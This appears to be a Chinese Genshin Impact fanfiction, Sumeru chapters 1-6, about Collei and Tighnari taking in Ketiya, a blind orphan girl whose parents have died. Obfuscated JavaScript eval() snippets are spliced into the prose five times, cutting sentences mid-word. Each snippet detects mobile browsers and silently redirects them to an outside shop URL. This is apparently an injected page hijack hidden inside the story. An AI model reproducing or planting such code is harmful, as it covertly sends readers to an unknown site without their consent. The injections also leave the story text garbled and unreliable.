《提瓦特的孩子会不会长大》 1. 须弥篇-1 你不知道发生了什么,只知道周围好黑。 爸爸妈妈呢?他们去哪里了?为什么好像有人在说话,你却什么都听不清? 你好害怕。你会不会被别人抓走卖掉?你什么都不知道。 你只是知道你要躲起来,然后等爸爸妈妈来找到你。 * 市集上,四周的摊贩经过一番讨论后,都无言地看向一个偏僻的角落:黑发的小女孩抿着唇,漂亮的眼睛里没有一丝神采, 白嫩的小脸上满是茫然和害怕,小小的还带着肉窝窝的手在空气中摸索着,攥住市集支起的大棚铁杆,随后整个身子都蜷着贴在铁杆上,像是在寻求着安全感。 起初摊贩们还试着跟小女孩交流,问她“你的爸爸妈妈在哪里呀”“要不要吃点东西”什么的,但小女孩没有回应,只是一听到人的声音就开始发抖,像是有一段时间没喝水的嘴唇也微微发白。 于是摊贩们不说话了,只是用悲悯的目光注视着这个小女孩。已经有人去问过风纪官有没有人来报案说小孩子走丢的事情,得到的答复是没有。也许这小女孩的父母出于某些原因就这样抛下了这个小女孩,可能是临时遇到某些突发状况,又或是因为小女孩那双无神的眼睛。这些经历了很多、也见识了很多的摊贩们发出一声叹息。 其中一个摊贩曲起手肘怼了怼旁边的人,用气音小声说道:“我先把我的摊位分你一半吧。”旁边的人正是小女孩占住的铁杆那块位置的摊主。 也亏得现在是中午的休息时间,许多来买东西的人都回去了,但还有零零散散的人在各个摊位中穿梭。再过一会儿,等到人流又多起来的时候,他们就得把小女孩送到风纪官那边了。 被占了位置的摊主摆摆手表示不妨事。他的女儿最近刚生了个孩子,小小的一团,软乎乎的,让他现在特别看不得这种孩子走丢、孩子受苦的事情。只是他能做的也就是给小女孩腾个位置这样的事情,每个人都有自己的小家呢,没有余裕去多照顾一个小孩,特别还是一个看不见的小孩。 可怜是真的可怜,麻烦,也是真的麻烦。 * 在这群摊贩中,夹杂了从化城郭来到须弥城采购物资的提纳里和柯莱。头上有大耳朵、身后有大尾巴的提纳里双手抱胸,侧过头对跟在自己身边的徒弟柯莱道:“我们把这件事报到风纪官那里吧。”这么说着的提纳里抖了抖毛茸茸的耳朵,不知道为什么,这个小女孩给他一种不太好的感觉,非要找个形容词的话……像是蚕食周边环境的生命力的死域?但又和与死域同源的魔麟病不一样,而且魔麟病已经随着旅行者的到来而被解决了。还是跟大风纪官、同时也是他的朋友赛诺说一声吧。这样想着,提纳里用那双青玉色的眼睛不带什么感情地扫过沉默的小女孩。 提纳里的性格不允许他因为自己的喜恶而去讨厌一个无辜的小女孩、起码现在,她是无辜的。在一切被盖棺定论前,他不会轻下论断。即便感觉不太好,这位年少成名的学者、化城郭的大巡林官也只会把这件事情上报给风纪官,他相信自己的朋友赛诺会肃明真相。倘若小女孩的身上真的有什么阴谋,正义的赛诺会解决;假如小女孩真的无辜,赛诺也会为她找好去处。 须臾之间脑海里已经略过思绪万千的提纳里正准备带着徒弟抬腿离开,就发现自己被柯莱扯住了衣角:“那个……提纳里师父!如果可以的话,我可以养她吗?”耳边是柯莱略带着颤抖的声音,眼前是柯莱希望得到肯定回答的神情。 其实也不是不能理解,柯莱是个好孩子,柯莱……提纳里最终面无表情地闭上了眼睛,他不理解。 难道是柯莱看到这个小女孩想到了自己的过去吗?提纳里百思不得其解,可是目前除了“离开父母”这一项之外也没有重合的地方啊? * 柯莱,一个绿发紫眼的内向少女,目前绝赞跟着提纳里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949964|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师父学习中。 曾有过跌宕起伏的过去,但现在已经回归普通的平稳人生,致力于跟随提纳里师父成为一名巡林员,力所能及帮助更多的人。 目前遇到的麻烦是在市集上遇到一个无家可归的孩子,在思考要怎样才能说服师父让自己养这个孩子。 可能有人会觉得自己是因为过去的经历而对面前的这个孩子产生移情作用,让她想起过去的自己;但柯莱自己知道,不是这样的。 柯莱只是在看到这个黑发黑眼的小女孩的那个瞬间,内心产生了莫大的酸楚。整颗心脏像是被浸泡到装得满满当当的柠檬汁里一样,只是正常的跳动都带着挥之不去的酸涩气息。 眼眶也几欲湿润,只想把小女孩抱紧怀里,再用自己并不细腻的手轻柔地抚上她的脸庞,问她过得好不好。 为什么会这样?柯莱不知道这个问题的答案。她只是知道在她过去的人生中,有朋友安柏包容起初尖锐的自己、有师父提纳里接纳笨拙的自己……还有好多好多人,向她表达善意。有过苦难,但也仍有火光在漆黑中摇曳,仍有那不灭的一线希望长存。现在的她学着安柏、学着提纳里师父在当见习巡林员的过程中帮助那些在雨林中误入险地的人,不吝于向别人传递自己的善意,不吝于给予别人力所能及的帮助。 只是柯莱明白,她想照顾这个小女孩,这种心情是和帮助其他人的时候不一样的。帮助其他人,是在其他人脱离险境后为他人感到高兴;而对于这个小女孩,是哪怕她安全仍会担心她之后会不会遇到什么麻烦?会不会因为看不见,一不小心踏进深不见底的洞穴,连哭喊都无力?会不会肚子饿了也不说?会不会一个人躲在角落里默默地掉眼泪。 爸爸妈妈当初对她,也是这样的心情吗?已经和父母分别的柯莱此时莫名地体会到了父母曾经的心情。 想要看你平安长大,也同样希望你余生的每一天都能露出明媚的笑脸。 2. 须弥篇-2 你不知道周围人对你的怜悯,不知道有个狐耳少年对你升起了戒备,更不知道有个腼腆少女只是打个照面就想要把你抱回家养。你只是抿着唇,小小的脑袋里思考着现在对你来说最重要的问题:爸爸妈妈什么时候会来接你呢? 稚嫩的手握着铁杆,因为手掌过小甚至不能包满一圈,由于不安而下意识地握紧手里的东西,柔软的手指在铁杆上按压,变形出用力的弧度。 你感觉自己等了好久啊。 久久等不到父母、又不知道为什么天黑得什么都看不见,你又抿了抿唇,腮帮子微微鼓起,两只小脚丫向着铁杆贴近,随后蹲下身子,摸了摸自己已经扁下去的肚子,一张脸不自觉地垮下来:饿了。 * 另一边,听到柯莱在说什么的提纳里尝试宽慰自己,但是宽慰失败。最终提纳里只是叹了口气:“柯莱,你要想清楚,养一个小孩子没有那么简单的。”想当初他养柯莱的时候柯莱都比这个小女孩要大了好几岁,而且当时还有其他人帮忙。饶是如此,那时的提纳里也愁掉了好多的尾巴毛。 敏锐地意识到提纳里师父态度的转变,柯莱露出一个小小的笑容:“嗯。也许照顾她会给我的生活带来很多麻烦,但是我也相信,她会给我带来很多美好。”因为哪怕只是这样看着她,只要想到她会露出柔软的笑脸,只要想到她会一点一点长大,柯莱便也情不自禁地柔和了眉眼跟着笑起来。 提纳里从柯莱的笑容中读出了坚定,没再说什么。也许这个小女孩身上确实藏了谜团,也许柯莱确实没办法完全照顾好这个小女孩,但师父不就是用来给徒弟兜底的吗。 “既然如此,那就带着她去找风纪官吧。事先说明,如果这个小女孩还有监护人并且对方能照顾好她的话,我是不会同意你的提议的。”提纳里抖了抖耳朵,示意柯莱去接近小女孩。 欸……这么快吗?柯莱瞪大了双眼,但是当她的视线扫过小女孩时就立刻留意到了小女孩放在肚皮上的手。啊,她饿了。 小孩子是不能饿太久的,这样想来确实要尽快了。于是柯莱掏出这个月还没怎么用的零花钱,轻声在旁边的水果摊上买了个甜美多汁的墩墩桃。 水果摊的摊主留意到柯莱在交谈时的余光仍在瞥视着那个小女孩,又看到小女孩抱着肚子的动作,粗糙的手没有收钱就把果子塞到了柯莱手里:“一个果子,不值什么钱。”摊主言简意赅。 这世上每天都有人陷入苦难,他只是一个在须弥城里摆摊卖水果的,也做不了什么。不过假如有人想要伸出援手,他也不介意行个方便。 捧着摩拉都给不出去的柯莱豆豆眼,明白过来摊主的意思后连连道谢。随后柯莱带着墩墩桃来到小女孩的身旁,模仿着小女孩的动作蹲在她的身边,像是害怕惊扰一只落在地上的雏鸟,她放缓了声音并用墩墩桃轻轻碰了碰小女孩因捂着肚子而曲起的手肘:“饿了吗,先吃个果子吧。” * 旁边……有人!你被吓了一跳,眼睛瞪得溜圆,抬起头,正好对上柯莱紫色的眼睛。 你听到了柯莱的话。感觉听上去不是坏人……但是不行不行!在外面不能吃别人给的东西,吃了就见不到爸爸妈妈了。你摇了摇头,似是觉得这样还不能表明你的态度,你严肃着小脸抬起手比了个大大的叉。 看到你的反应,同时因为凑得很近,柯莱也同样看清了你长长的睫毛、看清了那双大而无神的黑色眼睛。 没有因为你的反应感到难过,柯莱挪了挪身体凑得更近,声音也放的更轻:“那我们去找风纪官吧,让风纪官来帮你找爸爸妈妈。”平日里的柯莱只是显得内向,这并不意味着她不够敏锐,或者说因为过去的某些事情,柯莱的意识往往能先于她的思考察觉出关键的事情。 对于陌生人给出的食物会做出这样的反应,一定是因为有人教过。在这里等待、脸上只见对陌生环境的害怕却不见对自己会被抛下的恐慌,无疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949965|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说明着你相信自己会被找到、会回到那个对你来说足够安全的地方——那个地方,通常名为“家”。小孩子总是会认为父母无所不能。当然,也不一定就是父母,柯莱不排除她的话有赌的可能。 如果猜错的话一定会引起你的警惕的吧,柯莱这样想,不过总要尝试的不是吗。看到你听到“爸爸妈妈”这几个字眼时展开的神情,柯莱知道自己猜对了。 “你能帮我找到爸爸妈妈吗?”你的声音有些急切,身体也不住地往前倾。 果子可以不吃,但爸爸妈妈一定要找。可以相信这个人吗?你有些纠结,但你等了好久啦,爸爸妈妈都没来。你的感觉也在说可以跟着这个人去找爸爸妈妈。 随后听到柯莱肯定的回答和对你说辞的纠正:“是去找风纪官,然后风纪官会帮你找到爸爸妈妈。”你不由地弯了弯眼睛,小小的身体贴近那个声音传来的方向:“那我们现在就出发吧。” 轻轻握住你的手,柯莱应了声。 成功地让你相信她本来是件好事,柯莱的心情有些复杂,这么好骗,别人多说两句就被骗走了怎么办。 提前进入带崽模式的柯莱开始担心之后可能遇见的情况,又在心里自我宽慰:没关系、没关系,我会照顾好她的。 柯莱牵着你的手,配合着你的步调向等在一旁的提纳里走去。 你感觉旁边的姐姐很温柔的样子,凑过去小声地问:“姐姐,天怎么还没亮呀。”一开始都是在害怕,现在得到帮助决定要去找爸爸妈妈的你终于开始思考为什么自己看到的还是一片漆黑:感觉过了很久,天还没亮吗? 听到你的问题,柯莱抬头看了看天上亮堂堂的太阳,又低头看了看你依旧无神的眼睛,呼吸一滞。 她以为你是先天性失明,但按照你的话来看,事实好像不是这样。 柯莱牵着你的手紧了紧,她闭上眼睛,声音依旧温柔:“嗯,天还没亮,可能是黑夜赖床了吧。” 3. 须弥篇-3 虽然天没有亮,但可能是因为有人牵着你的手,你的心奇异的安定下来。 你想起爸爸妈妈曾经跟你说过:天总会亮的。即便长夜熹微,黎明也终将到来。即便小小的你只听懂了“天会亮”这一个事情,对后面那句叽里咕噜的话半点都听不懂,还是记住了说这句话时父母温柔而坚定的神情。 你相信,天一定会亮。 等天亮了,就能见到爸爸妈妈了吧。 * 等柯莱带小女孩过来等得百无聊赖的提纳里见自己的徒弟终于牵着那个脸上还带着婴儿肥的小女孩过来了,抬腿就朝着风纪官的办公地点走。这个嘴硬心软的少年没有和小女孩打招呼什么的,就是沉默地带路,不知道什么时候一开始让柯莱牵着小女孩走得微微喘气的步伐也变成了小女孩能轻松跟上的速度。 前往风纪官所在地的路上,小女孩的肚子忽然发出一声响亮的咕咕叫。 声音一出,这支本就安静行路的队伍瞬间陷入死一般的寂静,连脚步落在地上的声响都没了。 * 你的脸一下子红得比熟透的番茄还红,头上似乎还有蒸汽冒出。你的手像是要抬起又像是要放下,在身前忙碌的不知道在忙什么。 好羞耻啊。 这下所有人都知道你在饿肚子啦。 你手足无措,原本乖巧懂事的神情如同平静的水面被打破一样变得无比生动,最后直接蹲了下来把通红的脸埋在膝弯里。 呜……先前拒绝姐姐的果子拒绝得信誓旦旦,现在肚子却叫得这么大声……坏肚子,肚子坏。 再给你一点点时间,你就能收拾好自己破碎的心继续出发啦。 安然地闭上眼,哈哈,你好孩子的形象,拍了拍长出的翅膀飞走了呢。 * 说实话,小女孩的肚子真的叫得挺大声的。 起码声音一出的时候,柯莱和小女孩都一副手足无措的表情。提纳里转过身盯着这一大一小,随后就见小女孩蹲了下去,而柯莱手忙脚乱地从包里翻出来之前的那个墩墩桃,在小女孩的旁边捧着,既想要把果子给小女孩,又怕打扰到小女孩,在那里纠结个不停,脑袋也似乎要因为超负荷运转而冒出蒸汽。 提纳里闭了闭眼,不然怎么说这两个人有缘呢,一个饿了不知道说,一个拿出了果子不知道给。光是看着她们两个,提纳里都觉得自己的耳朵要气直了。 拿着果子的柯莱听不到自己师父腹诽自己的话语,她只是听到了小女孩肚子叫,于是拿出了果子,接着思绪就在“她饿了,我要把果子给她”和“之前给过了,她不想要,我要尊重她的个人意愿”中反复横跳,差点打结。 饿了就要吃东西,这无疑是一条亘古不移的真理,柯莱自己也饿过,即便现在在雨林里一时找不到东西吃的情况下次也依然可以面不改色地拧掉萤火虫的头把剩下的部分咽进肚子里。每个人都有自己的意志,在不危害社会、不影响他人正常生活的情况下理应被尊重,这同样是一条真理。 现在,这两条真理打结了。 最后,脑袋也差点跟着打结的柯莱把求助的目光投向了提纳里:提纳里师父,救救。 柯莱一个字没说就已经读懂了柯莱目光的提纳里:…… 不知道为什么,看到柯莱这个眼神,提纳里觉得这种情况以后还多得很。 现下,提纳里没好气地从柯莱手中接过果子,直接走到小女孩身边把果子塞到她的手里:“这个墩墩桃能吃,吃吧,吃完了再继续赶路。放心,时间来得及。” 小女孩蓦然被塞了个果子,抬起的小脸上表情懵懵的,只见她低下梳了精致小辫子、只是现在辫子有点散开的脑袋摸了摸手里的墩墩桃,接着又抬起头,像是鸟巢里不断探出脑袋的雏鸟一般,对着提纳里小小声地说了谢谢。 这是提纳里和小女孩第一次正式的接触。 提纳里现在的心情很复杂。即便现在,他的直觉仍然在说小女孩的身上一定存在某些问题,他仍然能从小女孩的身上感受到不好的感觉;可这是个无辜的孩子,一个很乖的饿了也会顾忌着不给别人添麻烦的孩子,一个已经身有残疾的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949966|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孩子。 理性在提防,感性在怜惜。 * 你得到了一个果子,是个声音很好听的大哥哥塞过来的。你小声地道谢后就开始窸窸窣窣地吃起来,清甜的果肉和充沛的汁水顺着食道而下,已经干瘪的胃袋再一次充盈。 看到的世界依然一片漆黑。这次你只是垂了垂眼睛安静地吃着果子,没有把“天为什么还没亮”的问题再次问出口。 你只是人小,不是笨蛋。你知道自己身上可能出了什么问题,你知道,比起天还没亮,更可能的是你看不见了。 只要一想就能够明白的事情。就算天真的没亮,也绝对不会真的什么都看不见,起码会有朦朦胧胧的模糊的轮廓。而那个姐姐牵着你走,她知道要走到哪里,她看得到要怎么走,而你还是什么都看不到。再加上“带你去找风纪官”,风纪官也是有工作时间的,天亮了才上班,夜晚大家都是要回家的。 年纪小小但脑子聪明的你从这些细枝末节中意识到不是天没有亮。 可能是一开始找不到爸爸妈妈的恐慌太过而现在即便吃着果子缓过劲了,脑子也重新变得灵光的你迟来地发现自己的眼睛出了问题,却好像没有那么难过了。 起码现在有个好心的姐姐和大哥哥愿意带你去找风纪官,起码现在你的手里还有个果子。起码找到风纪官之后你就能找到自己的爸爸妈妈。比起这些,看不见好像也不算什么。 爸爸妈妈说过“知足常乐”,你一点都不贪心。 * 吃完果子的小女孩继续跟着提纳里和柯莱走路,走着走着见小女孩的脑袋一点一点的、眼睛也开始一眯一眯的,柯莱弯了弯唇角,俯下身手臂一个用力便把小女孩抱进了怀里,被抱起来的小女孩一惊,又很快在柯莱耐心地拍后背和“睡吧,醒来就到了”的安抚中沉沉睡去。 小女孩睡着后,师徒二人的速度反而变快了,没一会儿就到了目的地。 他们的运气很好,到的时候风纪官还没下班,而大风纪官赛诺也还没接到什么任务,就在办公地点里。 4. 须弥篇-4 大风纪官赛诺,一款白发黑肤红瞳的美少年,为了正义与真相曾自我流放,是个虽然个子不高,却十分可靠的公职人员。 此时这位大风纪官看着提纳里和柯莱一前一后地进来、柯莱的怀里还抱了个闭着眼睛、一看就知道睡得很香的小孩,先是对朋友提纳里的来访感到讶异,而当目光落到小孩子身上时,神情变得严肃起来。 他知道提纳里不会无缘无故在他上班的时候过来,而平时有些怕他的柯莱也跟来这一点就说明绝对有什么事情。那么,这个事情大概会是,赛诺的红瞳扫过睡得脸红扑扑的小孩,她看上去有点陌生。 为避免耽误赛诺的时间,提纳里简明扼要地交代了他们在须弥城的市集里遇到这个似乎和家人走散的小女孩的事情,柯莱则在一旁对细枝末节进行补充。 “所以,你们来找我,是希望我帮这个小女孩找到家人。”赛诺对自己要做的事情下了结论,得到了提纳里和柯莱的一致赞同。 看着提纳里和柯莱只是对自己得出的结论表示赞同却没有半点行动,赛诺的眼睛都略微睁大了一点:不是,你们这是打算让他来叫醒一个睡着的小孩子?这个恶人他非当不可吗? 想起自己之前收到远在蒙德的丽莎师姐的来信,随后远赴他国帮当时被做了人体实验的小柯莱封印身体里的魔神残渣并把人带回须弥,但因当时的封印仪式过于痛苦导致柯莱现在见了赛诺都莫名地脖子幻痛。 赛诺不是很想继续做这个被孩子感激但不被孩子亲近的恶人,并向提纳里发出谴责的目光。 对此,提纳里移开了视线,模样难得的有几分心虚。 赛诺:…… * 事情并没有发展到赛诺变成打扰小孩子美梦的恶人那一步。 因为你醒了。 你睁开眼睛,发现自己还是什么都看不到,这时的你已经很淡定地开始用耳朵听周围的动静了。 很安静……是已经到目的地了吗?这么想着,你也问了出来。 发现人快醒了就赶忙把人放到椅子上的柯莱肯定了你的说辞,看着你睡出红印的小脸不由地抬起手捂住自己微微发红的脸:好可爱噢……嘿嘿…… 见你醒了,赛诺来到你面前,蹲下身子,让自己的目光与你平齐,直视你漆黑而没有神采的眼睛:“让风纪官帮忙找爸爸妈妈是吗?请告诉我他们的名字。” 你看不见赛诺在你身前蹲下的动作,只是在听到赛诺的话语之后回答问题时因激动而抬高了声音。 你现在已经找到风纪官啦,接下来就是等爸爸妈妈来接你啦。坐在椅子上的你想到这件事情就忍不住地晃了晃自己两条够不着地面的小短腿。 你看不见赛诺听到你的回答后略微变化的神情,也看不见提纳里和柯莱之间自你和赛诺交谈便开始的眼神交流,你只是在以为自己很快就要回到爸爸妈妈身边的时候从赛诺的嘴里听到了噩耗:“你的父母,他们已经离开了这个世界。”赛诺原本想直接告诉你他们死了的真相,只是话语在说出口时还是不由地用了更委婉的说辞。 那个瞬间,泪水先于意识跃出眼眶,你能感受到什么在脸上流淌,嘴角也传来咸咸的味道。 他在……说什么啊? 他说了什么啊? 一定是你的耳朵出了问题对吧?毕竟眼睛已经出了问题、耳朵再跟着出点什么问题也是很正常的对吧?你没有多余的心思去思考自己的这番想法有没有逻辑,你只是想得到“这不是真的”的可能性。 只是眼泪一个劲地往下流,没有听你在心里的辩解。 模模糊糊间,有一只布满茧子的手抚上你的脸庞为你擦去泪水:“请节哀。”赛诺这样说。 …… 你哭着哭着又睡了过去。 * 小女孩醒了之后就把空间交给赛诺的提纳里和柯莱没有料到她的双亲已不在人世,更没有料到赛诺会说得这么直白。 或者说,正因为是赛诺,所以才会说得这么直白。这位常在沙漠中追捕犯人、公正不阿的大风纪官不会给犯人逃离的余地,也不会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949967|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对当事人隐瞒对方应该知道的信息。 原本只是认为你和家人走散或者是因为眼疾而被抛弃的猜想在两条人命的逝去面前都显得太过轻松。 在为小女孩擦过眼泪、又把她的脸细致地擦了一遍并盖上外套后,提纳里和赛诺示意去外面聊。柯莱也静默地跟了上去,走前手指在小女孩红肿的眼睛上拂过。 “可以说一说这是怎么回事吗?”提纳里眉头皱起。即便对你感官复杂,现在这样的状况也决不是他希望看见的。 “没问题。不如说,这件事其实提纳里你已经知道了。”赛诺应答得很是爽快:“前几天的新闻,一支运送物资的驮兽队伍在须弥城中忽然陷入狂暴,其中两只驮兽横冲直撞致使路过的两名行人死亡。”也正是因为这支驮兽队伍的目的地是须弥城,运送的物资包含某些特殊植物,提纳里和柯莱才会从化城郭赶来。 “所以,那两名行人就是……”柯莱轻轻地问道,得到赛诺的一个点头。 那支驮兽队伍现在已经被收押,同时须弥城会制定出更严格的方案来保证安全性,只是因为意外而被波及的人却怎么也回不来了。处理完那支驮兽队伍后,赛诺调取过两名行人的信息,是一对夫妻,育有一女,均已没有往来的亲人,走得也轻便。 他曾循着两人的家庭住址找过去,但是没有发现他们的女儿。没想到现在小女孩自己找上门了。 如果之后没有人收养这个小女孩的话,赛诺想,他会去问维摩庄、阿如村等愿不愿意多接收一个孩子,如果都不愿意的话那就他来养好了。 就算他的工作很忙,他也会把他照顾好的。 …… 赛诺的收养计划没有成功,他刚宣布自己将为小女孩找收养家庭的消息,柯莱就立刻先声夺人,而提纳里也只是摸了摸自己的大耳朵没有反对。 既然这样,好吧,赛诺从善如流,接下来就看柯莱和小女孩的相处如何了。 前辈,即便你和你的丈夫已经不在,珂缇娅也会得到妥善照顾的,请放心吧。 5. 须弥篇-5 你知道自己在做梦。 你看到那天明媚的阳光下,自己依偎在父母的怀抱里撒娇……后来呢? 后来……好多好多的血……目之所及皆是红色,整个世界都似乎笼罩在那抹红到发黑的令人作呕的血色里。 再后来呢?为什么什么都想不起来……脑袋好痛……快想起来啊!!! 好痛——!!! 现实中的你闭着眼睛眉头蹙起,额头上满是冷汗,似是在挣扎又似乎无法逃脱。 就在这时,你感觉自己好像被什么人揽进怀里,一只手在你的背上有节奏感地轻拍,迷迷糊糊间耳朵里传来林间的轻快小调。 如同鸟儿婉转的歌喉,你觉得自己也变成了一只鸟儿,在树枝上跳来跳去,直到累了才闭上眼睛。 …… 随着柯莱的歌声,你的呼吸逐渐变得平缓,原本皱起的眉头也松开了,重新变回恬然的睡脸。 你重新睡着了。 * 另一边,赛诺和提纳里及柯莱交代完小女孩父母的事情后在提纳里的催促下回到了房间里。 刚踏进门,就听到小女孩压得低低的呜咽声,定睛一看,嫩乎乎的脸上眼尾发红,手也抓紧了身上的外套,一副被梦魇住了的样子。 好可怜啊,柯莱叹息,她上前把你连同外套一起揽进怀里,学着幼时母亲哼的曲调轻轻地唱。 没关系、没关系,你的生活并不只有难过。等你醒来,你会发现还有很多很多的人爱你。 见柯莱成功安抚了小女孩,赛诺把奇异的目光投向正在用手拨弄头顶那两只大耳朵的提纳里:刚才他陈述驮兽队伍的案件时,提纳里忽然抖了抖耳朵,接着就催他讲快点,现在想想应该是那时提纳里的耳朵就听到了小女孩的哭声吧。 大耳朵,有的时候就很好用啊。赛诺感叹,什么时候,他戴在头上的胡狼帽也能有这种用处呢? 在赛诺感叹的时候,提纳里看起来像是在拨弄耳朵,实际上是通过这个方式来梳理自己的思路。 从赛诺那里得到了一个有用的消息:珂缇娅,是母亲在死域中分娩出的孩子。可能这就是他感知到不妙的来源。旅行者来过须弥、解救了须弥被教令院囚禁的草神大人之后死域不再增生,但原有的死域也无法在一时半会儿全部清理完。 除此之外,柯莱分享的珂缇娅的眼睛的信息也值得注意。提纳里一边拨着自己毛茸茸的大耳朵,一边思考。也就是说,现在珂缇娅的身体有问题,眼睛也有问题。 是什么让珂缇娅在之前六年都能相安无事地与身体里死域的力量相处?又是什么让珂缇娅在短短几天内失明?提纳里陷入沉思,又或者说,有没有可能,这两个问题的答案指向同一个? 化城郭的巡林官、柯莱的主治医师兼师父、生论派的得意门生提纳里,决定接下珂缇娅这个身上藏有谜团的幼小病人。 * “珂缇娅,我是柯莱,你愿意以后和我一起生活吗?”醒来后的你听到柯莱这样问你。 自己的名字在别人口中提及是一件很奇妙的事情。世界上有那么多的人,正是不同的名字把他们变成了不同的人。在你看来,每个人都像是一团轻飘飘的云彩,仿佛随时的一阵风都能从中掠过,然后什么也不剩;而随着一声声名字的呼唤,云彩逐渐凝实、变得越来越重,最后落在地上,变成了人。 在柯莱叫你的时候,你像是重新有了实感,睁着那双什么都看不清的眼睛“看”着柯莱,想到柯莱牵着你的温暖的手、想到睡梦间的怀抱,你最终点了点头。 你不知道这样究竟是不是个正确的决定,你只是忽然想起了曾经主动说自己也要去打猎、带回来大大的肉时妈妈弯着眼睛笑着对你说“啊呀,小孩子要多依靠大人呀,我们珂缇娅还小呢,不用急着长大。”,你只是……觉得很温暖。 轻柔的吻落在你的眉间,是得到你同意后太过激动把你抱进怀里的柯莱。 你的脸红了,憋了半晌只憋出一句:“柯莱姐姐,我想吃肉。”呜,好丢脸啊,你把脸更深地埋进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15949968|177514||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了柯莱的怀里,仿佛一瞬间完成了人到鸵鸟的退化。 “吃!吃大块的肉!”柯莱抱着你一时只觉得满腔豪情,就算现在让她徒手打十只鳄鱼她都觉得自己可以了。 抱着你转过身就要向外走去的柯莱对上了自己师父幽幽的目光。 那犀利的像是在说“柯莱,你是不是已经忘了你的师父还在这里”的眼神让柯莱一时之间汗流浃背:“那个……这是我的师父提纳里,是个很好的人!”柯莱磕磕绊绊地介绍了提纳里,没忘把旁边的赛诺一并介绍了,随后抱着珂缇娅立刻溜了出去,抱歉了,现在还是填饱珂缇娅的肚子比较重要—— 须弥城里有很多饭店,柯莱循着记忆很快找到一家口碑不错的饭店点了单,随后在你想要以自己能吃为由拒绝喂饭的时候以“可是珂缇娅没试过在眼睛看不见的情况下自己吃饭吧?”驳了回去坚持给你喂饭。 给你喂了饭之后探手摸了摸你的肚子,在化城郭里也曾帮忙照顾过小孩子的柯莱判断出你的肚子还有点空余:“想吃布丁吗?”你摇了摇头。 肚子已经饱饱的啦。 吃饱了就想睡的你被柯莱带着在须弥城里散了会儿步才回去,散步的途中柯莱跟你分享她和提纳里的一些故事,顺带着也说了些化城郭的趣事。 “珂缇娅,别担心,提纳里师父是很厉害的,他治好过很多疑难杂症的病人呢。”柯莱牵着你的手认真地说:“你的眼睛会好起来的。实在不行,我也有跟提纳里师父学习医术,我也会一直找治愈的方法的。”你听到柯莱坚定的话语。 一时之间你都有些好奇了:为什么柯莱对你这么好呢?你看不见之后要么是被她牵着,要么是被她抱着,就好像不管去到哪里她都会带着你一样。 你好奇,并没有问出口,只是对柯莱的话点了点头就乖巧地跟着她回去了。 你知道,并不是所有的问题都有答案;同样的,也并不是所有问题的答案都会让人满意。 直到瓶子碎了,人们才知道原来瓶子会碎。 6. 须弥篇-6 小孩子精力来得也快去得也快,昨晚散完步后你很快就困了。于是他们便决定第二天再出发,正巧提纳里还要去办关于你的收养手续,确实需要点时间。 散步后困了的你被柯莱牵着回去,没有发现柯莱略显拘谨的神色。 因为看不见,你在这几天里主要是靠听觉来察觉其他人的动向。一般来说长期失明的人其他的感官或多或少都会更敏锐,但你只是刚失明几天,加上很快被柯莱捡了回来整天牵来抱去,你没有需要锻炼到感官的地方。没有虎狼在身后追赶,兔子不会跑的快。 总体而言,相比于普通人,你的感官没有变强。你就是纯粹对这件事心态良好。 因此,你没有发现暗中冰冷的掠过你的目光。 而柯莱察觉到了。 那不是善意的打量。 